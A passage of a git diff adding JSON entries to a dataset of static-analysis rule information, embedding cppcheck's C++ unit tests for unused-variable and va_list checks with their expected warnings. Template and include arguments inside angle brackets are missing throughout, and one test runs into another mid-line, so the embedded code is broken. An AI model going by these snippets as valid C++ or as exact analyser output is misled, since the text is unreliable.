ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localVarClass() {\n functionVariableUsage(\"void f() {\\n\"\n \" Fred f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"class C { int x; };\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"class ExampleClass\\n\" // #10000\n \"{\\n\"\n \"public:\\n\"\n \" ExampleClass(int xScale, int yScale, int x, int y)\\n\"\n \" : XScale(xScale)\\n\"\n \" , YScale(yScale)\\n\"\n \" , X(x)\\n\"\n \" , Y(y)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" \\n\"\n \" int XScale;\\n\"\n \" int YScale;\\n\"\n \" int X;\\n\"\n \" int Y;\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" ExampleClass ex(1, 2, 3, 4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:20:19]: (style) Variable 'ex' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"class C { public: C(int); ~C(); };\\n\"\n \"void f() {\\n\"\n \" C c(12);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localVarSmartPtr() {\n // handling of smart pointers (#9680)\n functionVariableUsage(\"static int s_i = 0;\\n\"\n \"\\n\"\n \"class A {\\n\"\n \"public:\\n\"\n \" ~A() {\\n\"\n \" ++s_i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void func() {\\n\"\n \" auto a = std::make_shared();\\n\"\n \" auto a2 = std::unique_ptr(new A());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"class A {\\n\"\n \"public:\\n\"\n \" std::string x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void func() {\\n\"\n \" auto a = std::make_shared();\\n\"\n \" auto a2 = std::unique_ptr(new A());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:8:13]: (style) Variable 'a2' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void g();\\n\" // #11094\n \"void f() {\\n\"\n \" auto p = std::make_unique();\\n\"\n \" p = nullptr;\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int f(int *p) {\\n\" // #10703\n \" std::unique_ptr up(p);\\n\"\n \" return *p;\\n\"\n \"}\\n\"\n \"int g(int* p) {\\n\"\n \" auto up = std::unique_ptr(p);\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct S { S(); };\\n\" // #11108\n \"void f(std::unique_ptr p) {\\n\"\n \" p = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // ticket #3104 - false positive when variable is read with \"if (NOT var)\"\n void localvarIfNOT() {\n functionVariableUsage(\"void f() {\\n\"\n \" bool x = foo();\\n\"\n \" if (NOT x) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarAnd() { // #3672\n functionVariableUsage(\"int main() {\\n\"\n \" unsigned flag = 0x1 << i;\\n\"\n \" if (m_errorflags & flag) {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarSwitch() { // #3744 - false positive when used in switch\n functionVariableUsage(\"const char *f(int x) {\\n\"\n \" const char a[] = \\\"abc\\\";\\n\"\n \" const char def[] = \\\"def\\\";\\n\"\n \" const char *ptr;\\n\"\n \" switch(x) {\\n\"\n \" case 1: ptr=a; break;\\n\"\n \" default: ptr=def; break;\\n\"\n \" }\\n\"\n \" return ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // Don't write an error that \"a\" is not used\n\n functionVariableUsage(\"void x() {\\n\"\n \" unsigned char* pcOctet = NULL;\\n\"\n \" float fValeur;\\n\"\n \" switch (pnodeCurrent->left.pnode->usLen) {\\n\"\n \" case 4:\\n\"\n \" fValeur = (float)pevalDataLeft->data.fd;\\n\"\n \" pcOctet = (unsigned char*)&fValeur;\\n\"\n \" break;\\n\"\n \" case 8:\\n\"\n \" pcOctet = (unsigned char*)&pevalDataLeft->data.fd;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" for (iIndice = 1; iIndice <= (pnodeCurrent->usLen / 2); iIndice++) {\\n\"\n \" *pcData = gacHexChar[(*pcOctet >> 4) & 0x0F];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // Don't write an error that \"fValeur\" is not used\n }\n\n void localvarNULL() { // #4203 - Setting NULL value is not redundant - it is safe\n functionVariableUsage(\"void f() {\\n\"\n \" char *p = malloc(100);\\n\"\n \" foo(p);\\n\"\n \" free(p);\\n\"\n \" p = NULL;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f(Foo *p) {\\n\"\n \" free(p);\\n\"\n \" p = (Foo *)NULL;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\" // #11079\n \" std::string s1{ nullptr };\\n\"\n \" std::string s2{ NULL };\\n\"\n \" std::string s4(nullptr);\\n\"\n \" std::string s5(NULL);\\n\"\n \"}\\n\"\n \"struct A { A(void*) {} };\\n\"\n \"static void g() {\\n\"\n \" A a1{ nullptr };\\n\"\n \" A a2{ NULL };\\n\"\n \" A a4(nullptr);\\n\"\n \" A a5(NULL);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Variable 's1' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:19]: (style) Variable 's2' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:19]: (style) Variable 's4' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:5:19]: (style) Variable 's5' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:9:9]: (style) Variable 'a1' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:10:9]: (style) Variable 'a2' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:11:9]: (style) Variable 'a4' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:12:9]: (style) Variable 'a5' is assigned a value that is never used. [unreadVariable]\\n\",\n errout_str());\n }\n\n void localvarUnusedGoto() {\n // #4447\n functionVariableUsage(\"bool f(const int &i) {\\n\"\n \" int X = i;\\n\"\n \"label:\\n\"\n \" if ( X == 0 ) {\\n\"\n \" X -= 101;\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" if ( X < 1001 ) {\\n\"\n \" X += 1;\\n\"\n \" goto label;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Variable 'X' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n // #4558\n functionVariableUsage(\"int f() {\\n\"\n \" int i,j=0;\\n\"\n \" start:\\n\"\n \" i=j;\\n\"\n \" i++;\\n\"\n \" j=i;\\n\"\n \" if (i<3)\\n\"\n \" goto start;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarLambda() {\n functionVariableUsage(\"int foo() {\\n\"\n \" auto f = []{return 1};\\n\"\n \" return f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo() {\\n\"\n \" auto f = []{return 1};\\n\"\n \" auto g = []{return 1};\\n\"\n \" return f() + g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo(std::vector& v) {\\n\"\n \" int n = 0;\\n\"\n \" std::generate(v.begin(), v.end(), [&n] {\\n\"\n \" int r = n;\\n\"\n \" n += 2;\\n\"\n \" return r;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int f() {\\n\" // #8433\n \" float a;\\n\"\n \" auto lambda = []() {};\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unused variable: a [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\" // #9823\n \" auto cb = []() {\\n\"\n \" int i;\\n\"\n \" };\\n\"\n \" (void)cb;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Unused variable: i [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\" // #9822\n \" int i;\\n\"\n \" auto cb = []() {\\n\"\n \" int i;\\n\"\n \" };\\n\"\n \" (void)cb;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unused variable: i [unusedVariable]\\n\"\n \"[test.cpp:4:13]: (style) Unused variable: i [unusedVariable]\\n\",\n errout_str());\n }\n\n\n void localvarStructuredBinding() {\n functionVariableUsage(\"void f() {\\n\" // #10368\n \" std::map m;\\n\"\n \" m[2] = 2.0;\\n\"\n \" for (auto& [k, v] : m) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarCppInitialization() {\n functionVariableUsage(\"void foo() {\\n\"\n \" int buf[6];\\n\"\n \" Data data(buf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (information) --check-library: Provide configuration for Data [checkLibraryCheckType]\\n\", errout_str());\n }\n\n void localvarCpp11Initialization() {\n // #6160\n functionVariableUsage(\"void foo() {\\n\"\n \" int myNewValue{ 3u };\\n\"\n \" myManager.theDummyTable.addRow(UnsignedIndexValue{ myNewValue }, DummyRowData{ false });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" std::list>::value_type a{ 1, 2, 3, 4 };\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:2:44]: (information) --check-library: Provide configuration for std::list::value_type [checkLibraryCheckType]\\n\", errout_str());\n\n functionVariableUsage(\"void f(int* p) {\\n\"\n \" int* q{ p };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'q' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvarRangeBasedFor() {\n // #7075\n functionVariableUsage(\"void reset() {\\n\"\n \" for (auto & e : array)\\n\"\n \" e = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarAssignInWhile() {\n functionVariableUsage(\"void foo() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" dostuff(a);\\n\"\n \" } while((a += x) < 30);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo() {\\n\"\n \" int var = 1;\\n\"\n \" while (var = var >> 1) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarTemplate() {\n functionVariableUsage(\"template void f() {}\\n\"\n \"void foo() {\\n\"\n \" const int x = 0;\\n\"\n \" f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" constexpr std::size_t ArraySize(5);\\n\"\n \" std::array X; X.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\" // #10686\n \" std::array a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Unused variable: a [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"class A {};\\n\" // #9471\n \" namespace std {\\n\"\n \" template<>\\n\"\n \" struct hash {};\\n\"\n \"}\\n\"\n \"char f() {\\n\"\n \" std::string hash = \\\"-\\\";\\n\"\n \" return hash[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarFuncPtr() {\n functionVariableUsage(\"int main() {\\n\"\n \" void(*funcPtr)(void)(x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (style) Variable 'funcPtr' is assigned a value never used.\\n\", \"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" void(*funcPtr)(void);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unused variable: funcPtr [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" void(*funcPtr)(void)(x);\\n\"\n \" funcPtr();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" void(*funcPtr)(void) = x;\\n\"\n \" funcPtr();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarAddr() { // #7747\n functionVariableUsage(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" dostuff(&x);\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" dostuff(std::ref(x));\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarDelete() { // #8339\n functionVariableUsage(\"void reassign(char*& data, int size)\"\n \"{\"\n \" char* buf = new char[size];\"\n \"\"\n \" char* tmp = data;\"\n \" data = buf;\"\n \" buf = tmp;\"\n \"\"\n \" delete [] buf;\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void chainedAssignment() {\n // #5466\n functionVariableUsage(\"void NotUsed(double* pdD, int n) {\\n\"\n \" double sum = 0.0;\\n\"\n \" for (int i = 0; i\\n\"\n \"struct Y: Y { };\\n\"\n \"template<>\\n\"\n \"struct Y<0> {};\\n\"\n \"void f() {\\n\"\n \" Y y;\\n\"\n \"}\"); // #4695\n }\n\n void crash3() {\n functionVariableUsage(\"void f(int a, int b, const int* p) {\\n\" // #12531\n \" const int* s[] = { p, p + 1, p + 2 };\\n\"\n \" a = *(s[a] + b);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void usingNamespace() {\n functionVariableUsage(\"int foo() {\\n\"\n \" using namespace ::com::sun::star::i18n;\\n\"\n \" bool b = false;\\n\"\n \" int j = 0;\\n\"\n \" for (int i = 0; i < 3; i++) {\\n\"\n \" if (!b) {\\n\"\n \" j = 3;\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return j;\\n\"\n \"}\"); // #4585\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void lambdaFunction() {\n // #7026\n functionVariableUsage(\"void f() {\\n\"\n \" bool first = true;\\n\"\n \"\\n\"\n \" auto do_something = [&first]() {\\n\"\n \" if (first) {\\n\"\n \" first = false;\\n\"\n \" } else {\\n\"\n \" dostuff();\\n\"\n \" }\\n\"\n \" };\\n\"\n \" do_something();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // #4956 - assignment in for_each\n functionVariableUsage(\"void f(std::vector ints) {\\n\"\n \" int x = 0;\\n\"\n \" std::for_each(ints.begin(), ints.end(), [&x](int i){ dostuff(x); x = i; });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f(std::vector ints) {\\n\"\n \" int x = 0;\\n\"\n \" std::for_each(ints.begin(), ints.end(), [&x](int i){ x += i; });\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", \"\", errout_str());\n\n functionVariableUsage(\"int f(const std::vector& v) {\\n\"\n \" auto it = std::find_if(v.begin(), v.end(), [&](int i) { return i > 0 && i < 7; });\\n\"\n \" std::unordered_map> exprs;\\n\"\n \" return *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (style) Unused variable: exprs [unusedVariable]\\n\", errout_str());\n }\n\n void namespaces() { // #7557\n functionVariableUsage(\"namespace t { namespace g {\\n\"\n \" typedef std::pair value;\\n\"\n \"} }\\n\"\n \"namespace t { namespace g {} }\\n\"\n \"namespace t {\\n\"\n \" inline double getTime() const {\\n\"\n \" iterator it=find();\\n\"\n \" double& value=it->second.values[index];\\n\"\n \" if(isnan(value)) {\\n\"\n \" value=get();\\n\"\n \" }\\n\"\n \" return value;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void bracesInitCpp11() {\n functionVariableUsage(\n \"int fun() {\\n\"\n \" static int fpUnread{0};\\n\"\n \" const int var{fpUnread++};\\n\"\n \" return var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void argument() {\n functionVariableUsage(\n \"void fun(Value value) {\\n\"\n \" value[10] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\n \"void fun(std::string s) {\\n\"\n \" s[10] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Variable 's[10]' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"void fun(short data[2]) {\\n\"\n \" data[2] = 1;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown argument type\n functionVariableUsage(\n \"void A::b(Date& result) {\"\n \" result = 12;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // #8914\n functionVariableUsage( // assume unknown argument type is reference\n \"void fun(Date result) {\"\n \" result.x = 12;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage( // there is no reference type in C\n \"void fun(Date result) {\"\n \" result.x = 12;\\n\"\n \"}\",\n dinit(FunctionVariableUsageOptions, $.cpp = false)\n );\n ASSERT_EQUALS(\"[test.c:1:35]: (style) Variable 'result.x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\n \"struct Date { int x; };\\n\"\n \"void fun(Date result) {\"\n \" result.x = 12;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Variable 'result.x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n // Unknown struct type\n functionVariableUsage(\n \"void fun() {\"\n \" struct FOO foo;\\n\"\n \" foo.x = 123;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'foo.x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void argumentClass() {\n functionVariableUsage(\n \"void foo(std::insert_iterator it) {\\n\"\n \" it = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void escapeAlias() {\n functionVariableUsage(\n \"struct A {\\n\"\n \" std::map m;\\n\"\n \" void f(int key, int number) {\\n\"\n \" auto pos = m.find(key);\\n\"\n \" if (pos == m.end())\\n\"\n \" m.insert(std::map::value_type(key, number));\\n\"\n \" else\\n\"\n \" (*pos).second = number;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void volatileData() {\n functionVariableUsage(\n \"struct Data { unsigned int n; };\\n\"\n \"int main() {\\n\"\n \" (*(volatile struct Data*)0x4200).n = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void globalData() {\n // #10276\n functionVariableUsage(\n \"void f(void) {\\n\"\n \" ((uint8_t *) (uint16_t)0x1000)[0] = 0x42;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structuredBinding() { // #13269\n functionVariableUsage(\"int main()\\n\"\n \"{\\n\"\n \" auto [a, b] = std::make_pair(42, 0.42);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:17]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"int main()\\n\"\n \"{\\n\"\n \" auto [a, b] = std::make_pair(42, 0.42);\\n\"\n \" (void) a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main()\\n\"\n \"{\\n\"\n \" auto [a, b] = std::make_pair(42, 0.42);\\n\"\n \" (void) b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main()\\n\"\n \"{\\n\"\n \" auto [a, b, c] = std::make_pair(42, 0.42);\\n\"\n \" (void) b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main()\\n\"\n \"{\\n\"\n \" [[maybe_unused]] auto [a2, b3] = std::make_pair(42, 0.42);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestUnusedVar)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckVaarg/va_list_usage.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckVaarg/va_list_usage.json new file mode 100644 index 0000000..6342446 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckVaarg/va_list_usage.json @@ -0,0 +1,22 @@ +{ + "name": "va_list_usage", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 59, + "branches": 29, + "apis": 79, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 183 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkvaarg.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n\nclass TestVaarg : public TestFixture {\npublic:\n TestVaarg() : TestFixture(\"TestVaarg\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::warning).build();\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(wrongParameterTo_va_start);\n TEST_CASE(referenceAs_va_start);\n TEST_CASE(va_end_missing);\n TEST_CASE(va_list_usedBeforeStarted);\n TEST_CASE(va_start_subsequentCalls);\n TEST_CASE(unknownFunctionScope);\n }\n\n void wrongParameterTo_va_start() {\n check(\"void Format(char* szFormat, char* szBuffer, size_t nSize, ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, szFormat);\\n\"\n \" va_end(arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) 'szFormat' given to va_start() is not last named argument of the function. Did you intend to pass 'nSize'? [va_start_wrongParameter]\\n\", errout_str());\n\n check(\"void Format(char* szFormat, char* szBuffer, size_t nSize, ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" va_end(arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) 'szBuffer' given to va_start() is not last named argument of the function. Did you intend to pass 'nSize'? [va_start_wrongParameter]\\n\", errout_str());\n\n check(\"void Format(char* szFormat, char* szBuffer, size_t nSize, ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, nSize);\\n\"\n \" va_end(arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\"\n \" long(^addthem)(const char *, ...) = ^long(const char *format, ...) {\\n\"\n \" va_list argp;\\n\"\n \" va_start(argp, format);\\n\"\n \" c = va_arg(argp, int);\\n\"\n \" };\\n\"\n \"}\"); // Don't crash (#6032)\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) va_list 'argp' was opened but not closed by va_end(). [va_end_missing]\\n\", errout_str());\n\n check(\"void Format(char* szFormat, char* szBuffer, size_t nSize, ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr);\\n\"\n \" va_end(arg_ptr);\\n\"\n \"}\"); // Don't crash if less than expected arguments are given.\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void assertf_fail(const char *assertion, const char *file, int line, const char *func, const char* msg, ...) {\\n\"\n \" struct A {\\n\"\n \" A(char* buf, int size) {}\\n\"\n \" void printf(const char * format, ...) {\\n\"\n \" va_list args;\\n\"\n \" va_start(args, format);\\n\"\n \" va_end(args);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\"); // Inner class (#6453)\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void referenceAs_va_start() {\n check(\"void Format(char* szFormat, char (&szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" va_end(arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Using reference 'szBuffer' as parameter for va_start() results in undefined behaviour. [va_start_referencePassed]\\n\", errout_str());\n\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" va_end(arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void va_end_missing() {\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" va_end(arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6186\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" try {\\n\"\n \" throw sth;\\n\"\n \" } catch(...) {\\n\"\n \" va_end(arg_ptr);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:1]: (error) va_list 'arg_ptr' was opened but not closed by va_end(). [va_end_missing]\\n\", errout_str());\n\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" va_start(arg_ptr, szBuffer);\\n\"\n \" if(sth) return;\\n\"\n \" va_end(arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:19]: (error) va_list 'arg_ptr' was opened but not closed by va_end(). [va_end_missing]\\n\", errout_str());\n\n // #8124\n check(\"void f(int n, ...)\\n\"\n \"{\\n\"\n \" va_list ap;\\n\"\n \" va_start(ap, n);\\n\"\n \" std::vector v(n);\\n\"\n \" std::generate_n(v.begin(), n, [&ap]()\\n\"\n \" {\\n\"\n \" return va_arg(ap, const char*);\\n\"\n \" });\\n\"\n \" va_end(ap);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int n, ...)\\n\"\n \"{\\n\"\n \" va_list ap;\\n\"\n \" va_start(ap, n);\\n\"\n \" std::vector v(n);\\n\"\n \" std::generate_n(v.begin(), n, [&ap]()\\n\"\n \" {\\n\"\n \" return va_arg(ap, const char*);\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:1]: (error) va_list 'ap' was opened but not closed by va_end(). [va_end_missing]\\n\", errout_str());\n }\n\n void va_list_usedBeforeStarted() {\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" return va_arg(arg_ptr, float);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) va_list 'arg_ptr' used before va_start() was called. [va_list_usedBeforeStarted]\\n\", errout_str());\n\n check(\"void Format(char* szFormat, char (*szBuffer)[_Size], ...) {\\n\"\n \" va_list arg_ptr;\\n\"\n \" foo(arg_ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) va_list 